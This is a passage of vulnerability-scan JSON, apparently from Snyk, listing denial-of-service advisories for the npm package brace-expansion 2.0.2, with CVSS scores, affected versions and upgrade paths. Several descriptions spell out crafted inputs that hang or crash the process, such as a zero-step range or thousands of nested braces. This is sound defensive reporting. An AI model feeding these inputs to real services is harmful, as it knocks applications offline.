"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
